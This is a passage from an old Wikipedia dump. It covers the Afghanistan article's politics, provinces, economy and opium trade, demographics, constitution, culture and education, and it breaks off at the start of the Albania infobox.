See also: [[Afghanistan timeline]], [[Invasions of Afghanistan]]

==Politics==
''Main article: [[Politics of Afghanistan]]''

Afghanistan is currently led by president [[Hamid Karzai]], who was elected in October of 2004. Before the election, Karzai led the country after having been hand-picked by the administration of [[United States]]' [[George W. Bush|President Bush]] to head an interim government, after the fall of the Taliban. His current cabinet includes members of the [[Afghan Northern Alliance]], and a mix from other regional and ethnic groups formed from the transitional government by the [[Loya jirga]] (grand council). Former [[monarch]] [[Mohammed Zahir Shah]] returned to the country, but was not reinstated as king, and only exercises limited ceremonial powers.

Under the [[Bonn Agreement (Afghanistan)|Bonn Agreement]] the [[Afghan Constitution Commission]] was established to consult with the public and formulate a draft constitution. The meeting of a constitutional ''loya jirga'' was held in December 2003, when a new constitution was adopted creating a presidential form of government with a bicameral legislature.

Troops and [[intelligence agencies]] from the United States and a number of other countries are present, some to keep the peace, others assigned to hunt for remnants of the [[Taliban]] and [[al Qaeda]]. A [[United Nations]] peacekeeping force called the [[International Security Assistance Force]] has been operating in Kabul since December 2001. [[NATO]] took control of this Force on [[August 11]], [[2003]]. Some of the country remains under the control of warlords. [http://www.newstatesman.com/200502070006]

On [[March 27]], [[2003]], Afghan deputy defense minister and powerful warlord General [[Abdul Rashid Dostum]] created an office for the [[North Zone of Afghanistan]] and appointed officials to it, defying then-interim president [[Hamid Karzai]]'s orders that there be no zones in Afghanistan.

[[Eurocorps]] took over the responsibility for the NATO-led [[International Security Assistance Force|ISAF]] in Kabul [[August 9]], [[2004]].

[[Afghan presidential election, 2004|National elections]] were held on [[October 9]], [[2004]]. Over 10 million Afghans were registered to vote. Most of the 17 candidates opposing Karzai [[boycott]]ed the election, charging fraud; [http://www.dw-world.de/dw/article/0,1564,1354517,00.html] an independent commission found evidence of fraud, but ruled that it did not affect the outcome of the poll. Karzai won 55.4% of the vote. [http://news.bbc.co.uk/2/hi/south_asia/3977677.stm] He was inaugurated as president on [[December 7]]. It was the country's first national election since 1969, when parliamentary elections were last held.

On [[September 18]] [[2005]], [[Afghan parliamentary election, 2005|parliamentary elections]] were held; the [[Wolesi Jirga|parliament]] opened on the following [[December 19]].
On [[December 20]] Karzai's close ally and president of the first [[mujahideen]] government, [[Sibghatullah Mojadeddi]], was picked to head the 102-seat upper house.
On [[December 21]], [[Yunus Qanuni]], Afghan opposition leader and Karzai's main opponent was chosen to lead the 249-seat lower house of parliament with 122 votes against 117 for his closest challenger.

see also: [[List of leaders of Afghanistan]], [[List of Afghanistan Governors]]

==Subdivisions==
Afghanistan is divided into 34 provinces (''velayat'') which are further divided into districts. 

''Main article: [[Provinces of Afghanistan]]''
''Main article: [[Districts of Afghanistan]]''

The 34 provinces are:
{|
|
*&lt;small&gt;1&lt;/small&gt; [[Badakhshan Province|Badakhshan]]
*&lt;small&gt;2&lt;/small&gt; [[Badghis Province|Badghis]]
*&lt;small&gt;3&lt;/small&gt; [[Baghlan Province|Baghlan]]
*&lt;small&gt;4&lt;/small&gt; [[Balkh Province|Balkh]]
*&lt;small&gt;5&lt;/small&gt; [[Bamiyan Province|Bamiyan]]
*&lt;small&gt;6&lt;/small&gt; [[Daikondi Province|Daikondi]]
*&lt;small&gt;7&lt;/small&gt; [[Farah Province|Farah]]
*&lt;small&gt;8&lt;/small&gt; [[Faryab Province|Faryab]]
*&lt;small&gt;9&lt;/small&gt; [[Ghazni Province|Ghazni]]
*&lt;small&gt;10&lt;/small&gt; [[Ghowr Province|Ghowr]]
*&lt;small&gt;11&lt;/small&gt; [[Helmand Province|Helmand]]
|
*&lt;small&gt;12&lt;/small&gt; [[Herat Province|Herat]]
*&lt;small&gt;13&lt;/small&gt; [[Jowzjan Province|Jowzjan]]
*&lt;small&gt;14&lt;/small&gt; [[Kabul Province|Kabul]]
*&lt;small&gt;15&lt;/small&gt; [[Kandahar Province|Kandahar]]
*&lt;small&gt;16&lt;/small&gt; [[Kapisa Province|Kapisa]]
*&lt;small&gt;17&lt;/small&gt; [[Khost Province|Khost]]
*&lt;small&gt;18&lt;/small&gt; [[Konar Province|Konar]]
*&lt;small&gt;19&lt;/small&gt; [[Kunduz Province|Kunduz]]
*&lt;small&gt;20&lt;/small&gt; [[Laghman Province|Laghman]]
*&lt;small&gt;21&lt;/small&gt; [[Lowgar Province|Lowgar]]
*&lt;small&gt;22&lt;/small&gt; [[Nangarhar Province|Nangarhar]]
|
*&lt;small&gt;23&lt;/small&gt; [[Nimruz Province|Nimruz]]
*&lt;small&gt;24&lt;/small&gt; [[Nurestan Province|Nurestan]]
*&lt;small&gt;25&lt;/small&gt; [[Oruzgan Province|Oruzgan]]
*&lt;small&gt;26&lt;/small&gt; [[Paktia Province|Paktia]]
*&lt;small&gt;27&lt;/small&gt; [[Paktika Province|Paktika]]
*&lt;small&gt;28&lt;/small&gt; [[Panjshir Province|Panjshir]]
*&lt;small&gt;29&lt;/small&gt; [[Parvan Province|Parvan]]
*&lt;small&gt;30&lt;/small&gt; [[Samangan Province|Samangan]]
*&lt;small&gt;31&lt;/small&gt; [[Sar-e Pol Province|Sar-e Pol]]
*&lt;small&gt;32&lt;/small&gt; [[Takhar Province|Takhar]]
*&lt;small&gt;33&lt;/small&gt; [[Vardak Province|Vardak]]
*&lt;small&gt;34&lt;/small&gt; [[Zabol Province|Zabol]]
|
[[Image:Afghanistan provinces numbered.png|thumb|250px|right|Map showing provinces of Afghanistan]] 
|}

==Geography==
[[Image:Afghanistan map.png|framed|Map of Afghanistan]]
''Main article: [[Geography of Afghanistan]]''

Afghanistan is a land-locked [[mountain]]ous country, with plains in the north and southwest. The highest point, at 7485 m (24,557 [[foot (unit of length)|ft]]) above sea level, is [[Nowshak]]. Large parts of the country are dry, and fresh water supplies are limited. Afghanistan has a continental climate, with hot summers and cold winters. The country is frequently subject to [[earthquake]]s.

The major cities of Afghanistan are its capital Kabul, [[Herat]], [[Jalalabad, Afghanistan|Jalalabad]], [[Mazar-e Sharif]] and [[Kandahar]].

See also [[List of cities in Afghanistan]], [[Places in Afghanistan]].

==Economy==
''Main article: [[Economy of Afghanistan]]''

Afghanistan is an extremely impoverished country, being one of the world's poorest and least developed countries. Two-thirds of the population lives on less than US$2 a day. The economy has suffered greatly from the recent political and military unrest since the 1979-80 Soviet invasion and subsequent conflicts, while severe drought added to the nation's difficulties in 1998-2001.

About 70 percent of the population is under 30 according to Asian Development Bank. The total fertility rate is 6.8, the highest in South Asia (with a regional average at 3.3), but so are mortality rates. Infant mortality rate is 166 per 1000 births. The economically active population in 2002 was about 11 million (out of a total of an estimated 29 million). While there are no official unemployment rate estimates available, it is evident that it is high. The number of non-skilled young people is estimated at 3 million, which is likely to increase by some 300,000 per annum. (Fujimura, 2004a). [http://www.adbi.org/research-policy-brief/2004/10/15/698.afghan.economy.after.election/]

The country's natural resources include copper, zinc and iron ore in central areas; precious and semi-precious stones such as lapis, emerald and azure in the north-east and east; and (unproved) oil and gas reserves in the north. However, &quot;its significant mineral resources remain largely untapped because of the Afghan War of the 1980s and subsequent fighting&quot; (Encyclopaedia Britannica, 2005). A good portion of Afghanistan GDP comes from illicit drugs including opium, its derivtives morphine and heroin and hashish.


[[Image:President Celal Bayar, King Zahir and Lord Nasher.jpg|thumb|Afghanistan was once a world-renowned producer of cotton. Here Turkish President Celal Bayar and King Zahir inspect the produce of Khan Nasher's Spinzar Cotton Company in 1966]]

On a positive note, international efforts to rebuild Afghanistan led to the formation of the Afghan Interim Authority (AIA) as a result of the December 2001 [[Bonn Agreement (Afghanistan)| Bonn Agreement]], and later addressed at the Tokyo Donors Conference for Afghan Reconstruction in January 2002, where $4.5 billion was committed in a trust fund to be administered by the [[World Bank Group]]. Priority areas for reconstruction include the rebuilding of education system, health, and sanitation facilities, enhancement of administrative capacity, the development of the agricultural sector, and the rebuilding of road, energy, and telecommunication links.

According to a 2004 report by the Asian Development Bank, the present reconstruction effort is two-pronged: first it focuses on rebuilding critical physical infrastructure, and second, on building modern public sector institutions from the remnants of Soviet style planning to ones that promote market-led development (Fujimura, 2004b). But macroeconomic planning and management at present is hampered by poor information, weak service delivery systems, and less than adequate law enforcement.

The country has been going through economic recovery since the Taliban were overthrown in October 2001. However, estimating Afghanistan's economy is problematic as it is impossible to gather reliable statistics while it is going through a significant change period in all fronts, with the added problem of less than ideal security situation. The best estimate that can be relied upon is that of the Central Statistical Office in 2003, from which the CIA Factbook seems to have drawn some data. Accordingly, the country's estimated gross domestic product (GDP) was $21.5 billion in 2003, a 28.6% growth over 2002 (CIA Factbook 2003) [http://www.cia.gov/cia/publications/factbook/geos/af.html] 

Among the 232 listed countries in the CIA Factbook, Afghanistan ranks 108th in terms of GDP, which means per capita income of $800. A brief comparison shows that Afghanistan is the poorest country among its neighbors. Pakistan, with a GDP of $347 billion in 2003 had a per capita purchasing power of $2200 and Iran with its $517 billion had $7700. In the north, Turkmenistan had a GDP of $27.6 billion and a per capita income of $5700, Uzbekistan with its $48 billion had $1800, and Tajikistan despite a low GDP of only $8 billion had a per capita income of $1100 per head. The World Bank estimates that Afghanistan will remain in need of external financial help before it can stand on its own feet economically.

Ironically, Afghanistan's GDP ranks approximately at the same level as Jordan ($25.5bn) and Qatar ($19.5bn). However, considering that those oil-rich Arab states have smaller populations, Jordan per capita income amounts to $4500 and Qatar's to $23,200.

One of the main drivers for the current economic recovery is the return of over two million refugees from neighbouring countries and the West, who brought with them fresh energy, entrepreneurship and wealth-creating skills as well as much needed capital to start up small businesses. What is also helping is the estimated $2-3 billion in international assistance, the partial recovery of the agricultural sector, and the reestablishment of market institutions. 

While the country's current account deficit is largely financed with the &quot;donor money&quot;, only a small portion - about 15% - is provided directly to the government budget. The rest is provided to non-budgetary expenditure and donor-designated projects through the UN system and NGOs. It needs to be mentioned that there are some (as yet unconfirmed) claims that most of this money is spent on the expenses of the UN and other non-governmental organizations as well as being funneled into illegitimate activities.

The government had a central budget of only $350 million in 2003 and an estimated $550 million in 2004. The country's foreign exchange reserves totals about $500 million. Revenue is mostly generated through customs, as income and corporate tax bases are negligible. 

Inflation had been a major problem until 2002. However, the depreciation of the afghani in 2002 after the introduction of the new notes (which replaced 1,000 old afghani by 1 new afghani) coupled with the relative stability compared to previous periods has helped prices to stabilize and even decrease between December 2002 and February 2003, reflecting the turnaround appreciation of the new Afghani currency. Since then, the index has indicated stability, with a moderate increase toward late 2003 (Fujimura, 2004c).

The Afghan government and international donors seem to remain committed to improving access to basic necessities, infrastructure development, education, housing and economic reform. The central government is also focusing on improved revenue collection and public sector expenditure discipline. The rebuilding of the financial sector seems to have been so far successful. Money can now be transferred in and out of the country via official banking channels and according to accepted international norms. A new law on private investment provides 3-7 year tax holidays to eligible companies and a 4-year exemption from exports tariffs and duties.

While these improvements will help rebuild a strong basis for the nation in the future, for now, the majority of the population continues to suffer from insufficient food, clothing, housing, medical care, and other problems exacerbated by military operations and political uncertainties. The government is not strong enough to collect customs duties from all the provinces due to the power of the warlords. Fraud is widespread and “corruption is rife within all Afghan government organs, and central authority is barely felt in the lawless south and south-west” (The Economist, 2005). [http://www.economist.com/displaystory.cfm?story_id=4494134]

Expanding poppy cultivation and a growing opium trade is another huge problem for the country. The CIA estimates that one-third of the country's GDP comes from opium export, although the Asian Development Bank states a lower figure, namely $2.5 billion (12% of the GDP). At any rate, this is not only one of Kabul's most serious policy and law-enforcement challenges[http://www.cia.gov/cia/publications/factbook/rankorder/2001rank.html], but also one of the world's most serious problems. 

The problem began with the Soviet invasion in 1979-80. As the government began to lose control of provinces, &quot;warlordism&quot; flourished and with it opium production as regional commanders searched for ways to generate money to purchase weapons, according to the UN. [http://www.irinnews.org/webspecials/opium/Chronology.asp] (At this time the West was pursuing an &quot;arms-length&quot; supporting strategy of the Afghan freedom-fighters or Mujahidin, the main purpose being to cripple the USSR slowly into withdrawal rather than a quick and decisive overthrow).

When the West abandoned Afghanistan after its perceived victory over the Soviet Union as the Red Army was forced to withdraw in 1989, a power vacuum was created. Various Mujahidin factions started fighting against each other for power. With the discontinuation of Western support, they resorted ever more to poppy cultivation to finance their military existence.

The regional mafia, who were looking for a safe operational hub, joined forces with the more fanatic sections of the Mujahidin supported by Arab extremists like Osama bin Laden as well as the Pakistani secret intelligence service [[ISI]] to form the [[Taliban]] movement towards the end of 1994 (Rashid, 2000); [http://www.ahmedrashid.com/] see also BBC report here [http://news.bbc.co.uk/1/hi/world/south_asia/1569826.stm].

The Taliban, having taken control of 90% of the country, actively encouraged poppy cultivation. With this, they not only fulfilled their promises and obligations to their partners - the regional mafia - but also increased their own desperately needed income through taxes. According to the above UN source, Afghanistan saw a bumper opium crop of 4,600 million tonnes in 1999, which was the height of the Taliban rule in Afghanistan. When they came under extreme international diplomatic pressure in 2002, they initiated a ban on poppy cultivation.

Following the US-led coalition war that led to the defeat of the [[Taliban]] in November 2001 which essentially collapsed the economy, the relatively few other sources of revenue forced many of the country's farmers to resort back to growing cash crops for export. A notable example of such a crop is the [[opium poppy]] (1,300 km&amp;sup2; in 2004 according to the [[United Nations]] Office on Drugs and Crime), the cultivation of which has largely increased during the last decade: Afghanistan has become the first illicit opium producer in the world, before [[Burma]] ([[Myanmar]]), part of the so-called &quot;[[Golden Triangle]]&quot;. 

The main obstacle to eradicating poppy cultivation in Afghanistan is the US forces' need for the warlords and their forces in hunting terrorists. The warlords are the major culprits in poppy cultivation, but are also highly useful to the US forces in scouting, providing local intelligence, keeping their own territories clean from Al-Qaeda and Taliban insurgents, and even taking part in military operations - all for money. This also contributes to the lack of central government's real authority in provinces and discourages farmers from growing grain and fruit as they did for centuries previously.

In short, the Afghan economy is currently (December 2005) going through a hefty change period. On the one hand, there are encouraging signs of positive development and increasing wealth creation and management. But on the other hand, the security situation, the lingering war against terrorism and the opium problem have created tall barriers for Afghanistan to rejoin the international community in prosperity and economic development.

===Economy References===
- Fujimura, Manabu (2004) &quot;Afghan Economy After the Election&quot;, Asian Development Bank Institute

- CIA Factbook (2003), Afghanistan Section

- The Economist magazine, UK, October 2005

- UN Office for the Coordination of Human Affairs website

- Rashid, Ahmed (2000) &quot;Taliban - Militant Islam, Oil and Fundamentalism in Central Asia&quot;, Yale University Press

- The BBC

==Demographics==
''Main article: [[Demographics of Afghanistan]]''

The population of Afghanistan is divided into a wide variety of ethnic groups largely composed of [[Iranian peoples|Iranian]] and [[Turkic peoples]]. Because a systematic census has not been held in the country in decades, exact figures about the size and composition of the various ethnic groups are not available.[http://news.bbc.co.uk/1/hi/world/south_asia/3717092.stm] Therefore most figures are approximations only. According to the CIA World FactBook (updated on [[17 May]] [[2005]]), an approximate ethnic group distribution is as follows:

[[Pashtun]] 30%, [[Tajiks|Tajik]] 29%,, [[Hazara]] 22%, [[Uzbek]] 11%, [[Aimak]] 5%, [[Turkmen people|Turkmen]] 3%, [[Baloch]] 2%, other 4% including sikhs.[http://www.cia.gov/cia/publications/factbook/geos/af.html#People]

The CIA factbook on languages in Afghanistan refers to the official languages of Afghanistan as being [[Persian language|Persian]] (local name: [[Dari]]) 50% and [[Pashtu]] 35%. Other languages include [[Turkic language]]s (primarily [[Uzbek language|Uzbek]] and [[Turkmen language|Turkmen]]) 11%, 30 minor languages (primarily [[Balochi]] and [[Pashai]]) 4%. Bilingualism is common.

Religiously, Afghans are overwhelmingly [[Muslim]] (approximately 80% [[Sunni]] and 19% [[Shi'a Islam|Shi'a]]). There are also small [[Hindu]] and [[Sikh]] minorities. Afghanistan was once home to a many-centuries-old [[Jew]]ish minority, numbering approximately 5,000 in 1948. Most Jewish families fled the country after the 1979 Soviet invasion, and only one individual remains today, [[Zablon Simintov]]. [http://www.washingtonpost.com/wp-dyn/articles/A39702-2005Jan26.html] With the fall of the Taliban a number of [[Sikhs]] have returned to the [[Ghazni]], [[Nangarhar]], [[Kandahar]] and [[Kabul]] Provinces of Afghanistan.

==Constitution==
''Main article: [[Constitution of Afghanistan]]''

According to the 2004 constitution, Afghanistan is run by a president, who is elected by direct popular vote to a five-year term. The president may only serve two terms. A candidate for president must be at least forty years of age, a Muslim, and a citizen of Afghanistan. The country has two vice-presidents. The president serves as head of state and government, and is commander-in-chief of the armed forces. The president makes appointments for his cabinet, as well as posts in the military, police force, and provincial governorships, with the approval of parliament.

The legislative body of Afghanistan is a parliament consisting of two houses: the ''[[Wolesi Jirga]]'' (House of the People) and the ''[[Meshrano Jirga]]'' (House of Elders). The ''Wolesi Jirga'' consists of up to 250 members elected to five-year terms through direct elections in proportion to the population of each province. At least two women must be elected from each province. In the ''Meshrano Jirga'', one-third of the members are elected by provincial councils for four years, one-third are elected by district councils of each province for three years, and one-third are appointed by the president for five years, of whom half must be women.

The judicial system of Afghanistan consists of the ''[[Stera Mahkama]]'' (Supreme Court), appeals courts, and lower district courts designated by law. The ''Stera Mahkama'' is made up of nine judges appointed by the president, with the approval of parliament, to a ten-year term. Judges must be at least forty years of age, not belong to a political party, and have a degree in law or Islamic jurisprudence. The ''Stera Mahkama'' can judge the constitutionality of all laws in the country.

==Culture==
''Main article: [[Culture of Afghanistan]]''

Afghans display pride in their country, ancestry, military prowess, and above all, their independence. Like other highlanders, Afghans are regarded with mingled apprehension and condescension, for their high regard for personal honor, for their clan loyalty and for their readiness to carry and use arms to settle disputes. (Heathcote, 2003). As clan warfare / internecine feuding has been one of their chief occupations since time immemorial, this individualistic trait has made it difficult for foreign invaders to hold the region.

Afghanistan has a complex history that has survived either in its current cultures or in the form of various languages and monuments. However, many of the country's historic monuments have been damaged in recent wars. The two famous statues of [[Buddhas of Bamiyan|Buddha]] in the [[Bamiyan Province]] were destroyed by the Taliban, who regarded them as [[Idolatry|idolatrous]]. Other famous sites include the very cities of [[Herat]], [[Ghazni]] and [[Balkh]]. The [[Minaret of Jam]], in the [[Hari Rud]] valley, is a [[UNESCO]] [[World Heritage site]].

The people of Afghanistan are prominent horsemen as the national [[sport]] is [[Buzkashi]]. [[Afghan hound]]s (a type of running [[dog]]s) also originated in Afghanistan.

Although literacy levels are very low, classic Persian poetry plays a very important role in Afghan culture. Poetry has always been one of the major educational pillars in both Iran and Afghanistan, to the level that it has integrated itself into culture. Private poetry competition events known as “musha’era” are quite common even among ordinary people. Almost every home owns one or more poetry collection of some sort, even if it is not read often.

The Afghan dialect of the Persian language [[Dari (Afghanistan)|Dari]] derives from &quot;Farsi-e Darbari&quot;, meaning 'Persian of the royal courts'. It is regarded by some scholars as the more original version of the language. Iran, having a larger population, a stronger economy and closer ties to the rest of the world has developed its language further in the course of history. Afghanistan took a more conservative approach mainly due to lack of resources. As a result, Dari has not changed much over the last few centuries.

Many of the famous Persian language poets of 10th to 15th centuries stem from what is now known as Afghanistan. They were mostly also scholars in many disciplines like languages, natural sciences, medicine, religion and astronomy. Examples are Mawlvi Balkhi ([[Rumi]]), born and educated in the Balkh province in the 13th century and moved to today’s Istanbul, [[Sanaayi]] Ghaznavi (12th century, native of Ghazni provice), [[Jami]] Heravi (15th century, native of Jam-e-Herat in western Afghanistan), [[Alisher Navoi|Nizam ud-Din Ali Sher Heravi Nava'i,]] (15th century, Heart province). Also, some of the contemporary Persian language poets and writers, who are relatively well-know in both Iran and Afghanistan includes [[Ustad Behtab]], [[Khalilullah Khalili]] [http://www.afghanmagazine.com/arts/khalili/khalili.html], Sufi Ghulam Nabi Ashqari [http://www.afghanmagazine.com/jan2000/music/kharaabat/], [[Parwin Pazwak]] and others.

In addition to poets, the region of Afghanistan produced numerous scientists as well including [[Avicenna]] (Ibn Sina Balkhi) who hailed from [[Balkh]]. Avicenna, who travelled to [[Isfahan]] later in life to establish a medical school there, is known by some scholars as &quot;the father of modern medicine&quot;. George Sarton called Ibn Sina &quot;the most famous scientist of Islam and one of the most famous of all races, places, and times.&quot; His most famous works are ''The Book of Healing'' and ''The Canon of Medicine'', also known as the Qanun. Avicenna's story even found way to the contemporary English literature through Noah Gordon's The Physician [http://www.noahgordonbooks.com/index.html], now published in many languages.

Before the Taliban gained power, the city of Kabul was home to many musicians who were masters of both traditional and modern Afghan music, especially during the [[Nauroz]]-celebration. Kabul in the middle part of the 20th century has been likened to [[Vienna]] during the 18th and 19th centuries. 

The tribal system, which orders the life of most people outside metropolitan areas, is certainly as potent in political terms as the national state system of Europe 1914. Men feel a fierce loyalty to their own tribe, such that, if called upon, assemble in arms under the tribal chiefs and local clan leaders (Khans) in the same way that men throughout Europe &quot;flocked to the colours&quot; in 1914, forming up in regional divisions and battalions under the command of the local nobility and gentry. In theory, under Islamic law, every believer has an obligation to bear arms at the ruler's call ([[Ulul-Amr]]), but this was no more needed than was enforced conscription to fill the ranks of the British Army in 1914. The Afghan shepherd or peasant went to war for much the same mixture of reasons as the more &quot;civilised&quot; European clerk or factory worker - a desire for adventure, a desire not to be left out or lose esteem in the eyes of his fellows, a contempt for invading foreigners, revenge against those that ruined his family life or threatened his faith, perhaps even the chance of extra cash or enhanced personal prospects.

The tribal system is not something particularly backward or warlike. It is simply the best way of organizing large groups of people in a country that is geographically difficult, and in a society that has an uncomplicated lifestyle - from a materialistic point of view (Heathcote, 2003).

Reference:

Heathcote, Tony (1980, 2003) &quot;The Afghan Wars 1839 - 1919&quot;, Sellmount Staplehurst

See also: [[Radio Kabul]], [[music of Afghanistan]], [[Islam in Afghanistan]]

==Education==
''Main article: [[Education in Afghanistan]]''

In the spring of 2003, it was estimated that 30% of Afghanistan's 7,000 schools had been seriously damaged during more than two decades of [[Soviet Union|Soviet]] occupation and civil war. Only half of the schools were reported to have clean water, while fewer than an estimated 40% had adequate sanitation. Education for boys was not a priority during the [[Taliban]] regime, and girls were banished from schools outright.

In regards to the poverty and violence of their surroundings, a study in 2002 by the [[Save the Children]] aid group said Afghan children were resilient and courageous. The study credited the strong institutions of family and community.

Up to four million Afghan children, possibly the largest number ever, are believed to have enrolled for class for the school year beginning in March of 2003. Education is available for both girls and boys.

Literacy of the entire population is estimated at 36%, Male Literacy rate is 51% and female literacy is 21%. The male literacy rate is higher because previous Taliban laws prohibited the education of women.

Higher Education - The American University of Afghanistan

Another aspect of education that is rapidly changing in Afghanistan is the face of Higher Education. In 2006 the American University of Afghanistan [http://www.auaf.edu.af] opens it's doors, with support from USAID [http://usinfo.state.gov/sa/Archive/2005/Apr/06-83303.html] and other donors. With the aim of providing a world-class, English-language, co-educational learning environment in Afghanistan, the university will take students from Afghanistan and the region.


==See also==
{{sisterlinks|Afghanistan}}

*[[Afghan Scout Association]]
*[[Communications in Afghanistan]]
*[[Foreign relations of Afghanistan]]
*[[List of sovereign states]]
*[[Military of Afghanistan]]
*[[Transportation in Afghanistan]]
*[[Stamps and postal history of Afghanistan]]
**[[List of birds on stamps of Afghanistan]]
**[[List of fish on stamps of Afghanistan]]
*[[Golden Needle Sewing School]]
*[[Taliban treatment of women]]
*[[Taliban]]
*[[List of leaders of Afghanistan]]

==Additional references==
* Ghobar, Mit Gholam Mohammad. Afghanistan in the Cource of History, 1999, All Prints Inc.
* Griffiths, John C. 1981. ''Afghanistan: A History of Conflict''. André Deutsch, London. Updated edition, 2001. Andre Deutsch Ltd, 2002, ISBN 0233050531.
* Levi, Peter. 1972. ''The Light Garden of the Angel King: Journeys in Afghanistan''. Collins, 1972, ISBN 0002110423. Bobbs-Merrill Company, 1973, Indianapolis/New York, ISBN 0672512521.
* Moorcroft, William and Trebeck, George. 1841. ''Travels in the Himalayan Provinces of Hindustan and the Panjab; in Ladakh and Kashmir, in Peshawar, Kabul, Kunduz, and Bokhara... from 1819 to 1825'', Vol. II. Reprint: New Delhi, Sagar Publications, 1971. Oxford University Press, 1979, ISBN 0195771990. 
* Rashid, Ahmed (2000) &quot;Taliban - Militant Islam, Oil and Fundamentalism in Central Asia&quot;, Yale University Press
*Toynbee, Arnold J. 1961. ''Between Oxus and Jumna''. Oxford University Press, London. ISBN B0006DBR44.
* Wood, John. 1872. ''A Journey to the Source of the River Oxus''. New Edition, edited by his son, with an essay on the &quot;Geography of the Valley of the Oxus&quot; by Henry Yule. John Murray, London. Gregg Division McGraw-Hill, 1971, ISBN 0576033227.
* Heathcote, T.A. The Afghan Wars 1839-1999, 1980,2003, Spellmount Staplehurst

==External links==
*{{wikitravel}}
*[http://www.afghanplace.com - Afghanistan Directory]
*[http://www.afghanchat.com - Large Website on Afghanistan Culture &amp; News]
*[http://www.afghan2.com - Online dating Service for Afghans]
*[http://www.afghanzone.com/ Afganistan Online News source].
*[http://www.afghanunited.com/ Afghanistan Entertainment center].
*[http://www.afgha.com Afgha.com - News, Discussions, and more about Afghanistan]
*[http://www.kabuli.org/ Daily reports from Kabul in Farsi]
*[http://afghanlord.blogspot.com/ Afghan LORD]
*[http://www.afghanistan.sc/ Afghanistan Service Center with daily news]
*[http://www.aims.org.af/ Afghanistan Information Management Service] - provided by joint UN projects
*[http://news.bbc.co.uk/2/hi/world/south_asia/country_profiles/1162668.stm BBC News Country Profile - Afghanistan]
* [http://www.cia.gov/cia/publications/factbook/geos/af.html CIA World Factbook - Afghanistan]
* [http://www.state.gov/p/sa/ci/af/ US State Department - Afghanistan] includes Background Notes, Country Study (1997), Rebuilding, USAID and NATO
*[http://dmoz.org/Regional/Asia/Afghanistan/ Open Directory Project - Afghanistan] directory category
*[http://dir.yahoo.com/regional/countries/afghanistan/ Yahoo! - Afghanistan] directory category
*[http://www.un.org/Depts/Cartographic/map/profile/afghanis.pdf 2002 UN map of Afghanistan] (PDF)
*[http://www.ArianaNet.com/ News Service latest News about Afghanistan, Discussion board]

*[http://www.washingtonpost.com/wp-srv/world/asia/centralasia/afghanistan/returntoafghanistan/returntoafghanistan.htm Return to Afghanistan] - A series of short films by the Washington Post on the New Afghanistan
*[http://www.mod.uk/rcds/bashir.htm British Royal College for Defense Studies analyses and proposes a war in August 2001] 
* [http://www.geopium.org Geopium: Geopolitics of Illicit Drugs in Asia (Afghanistan and Burma)]
* [http://topics.developmentgateway.org/afghanistan Development Gateway's Afghanistan Reconstruction Portal]
* [http://www.afghanan.net/index.php Afghanan Dot Net]
* [http://www.AfghanMania.com Afghanistan Portal]
* [http://www.sabawoon.com Sabawoon Online]
* [http://www.afghan-web.com/index.html Afghanistan Online]
* [http://www.afghanischerkulturverein.de/en/wirUeberUns_en.php Informative links and glossary about Afghanistan]
* [http://www.whatisindia.com/issues/afghanis/index.html Afghanistan Portal on The Indian Analyst] Index of News, Analysis, and Opinion from many sources
* [http://www.bh.org.il/Communities/Archive/Afghanistan.asp The Jews of Afghanistan]
* [http://www.akdn.org AKDN]
* [http://www.faizani.com Islam Way Online - Your Religion and Spirituality Portal] Books written by the celebrated Afghan Scholar [[Mawlana Faizani]]
* [http://www.auaf.edu.af American University of Afghanistan]
* [http://numismondo.com/pm/afg Afghanistan Paper Money]
{{SAARC}}

{{Link FA|no}}


[[Category:Afghanistan| ]]
[[Category:Central Asian countries]]
[[Category:Landlocked countries]]
[[Category:Middle Eastern countries]]
[[Category:Near Eastern countries]]
[[Category:SAARC members]]
[[af:Afghanistan]]
[[als:Afghanistan]]
[[an:Afganistán]]
[[ar:أفغانستان]]
[[ast:Afganistán]]
[[bg:Афганистан]]
[[bs:Afganistan]]
[[ca:Afganistan]]
[[cs:Afghánistán]]
[[cy:Afghanistan]]
[[da:Afghanistan]]
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[[el:Αφγανιστάν]]
[[eo:Afganio]]
[[es:Afganistán]]
[[et:Afganistan]]
[[fa:افغانستان]]
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[[fr:Afghanistan]]
[[fur:Afghanistan]]
[[fy:Afganistan]]
[[ga:An Afganastáin]]
[[gd:Afghanistan]]
[[gl:Afganistán - افغانستان]]
[[gu:અફઘાનિસ્તાન]]
[[he:אפגניסטן]]
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[[ia:Afghanistan]]
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[[ja:アフガニスタン]]
[[ka:ავღანეთი]]
[[ko:아프가니스탄]]
[[ku:Afganistan]]
[[la:Afgania]]
[[lb:Afghanistan]]
[[li:Afganistan]]
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[[lv:Afganistāna]]
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[[pl:Afganistan]]
[[ps:افغانستان]]
[[pt:Afeganistão]]
[[ro:Afganistan]]
[[ru:Афганистан]]
[[sa:अफगानस्थान]]
[[scn:Afganistàn]]
[[se:Afghanistan]]
[[simple:Afghanistan]]
[[sk:Afganistan]]
[[sl:Afganistan]]
[[sq:Afganistani]]
[[sr:Авганистан]]
[[sv:Afghanistan]]
[[ta:ஆப்கானிஸ்தான்]]
[[tg:Афғонистон]]
[[th:ประเทศอัฟกานิสถาน]]
[[tk:Owganystan]]
[[tl:Afghanistan]]
[[tr:Afganistan]]
[[udm:Афганистан]]
[[uk:Афганістан]]
[[vi:Afghanistan]]
[[zh:阿富汗]]
[[zh-min-nan:Afghanistan]]</text>
    </revision>
  </page>
  <page>
    <title>Albania</title>
    <id>738</id>
    <revision>
      <id>42150547</id>
      <timestamp>2006-03-04T03:47:37Z</timestamp>
      <contributor>
        <ip>68.43.190.132</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Country|
|native_name = Republika e Shqipërisë
|common_name = Albania
|image_flag = Flag of Albania.svg
|image_coat = Albania state emblem.png|150px
|image_map = LocationAlbania.png
|national_motto = (not verified) Feja e Shqiptarit është Shqiptaria ([[Albanian language|Albanian]]: The faith of the Albanian is Albanianism)
|national_anthem = [[Hymni i Flamurit]]
|official_languages = [[Albanian language|Albanian]]
|capital = [[Tirana]]
|latd=41 |latm=20 |latNS=N |longd=19 |longm=48 |longEW=E

|largest_city = [[Tirana]]
|government_type = emerging [[democracy]]
|leader_titles = &amp;bull; [[List of Presidents of Albania|President]] &lt;br&gt;&amp;bull; [[List of Prime Ministers of Albania|Prime Minister]]
|leader_names = &amp;bull; [[Alfred Moisiu]] &lt;br&gt;&amp;bull; [[Sali Berisha]]
|area_rank = 139th
|area_magnitude = 1 E10
|area = 28,748
|areami² = 11,100 &lt;!--Do not remove--&gt;
|percent_water = 4.7
|population_estimate = 3,563,112
|population_estimate_year = 2005
|population_estimate_rank = 126
|population_census = 
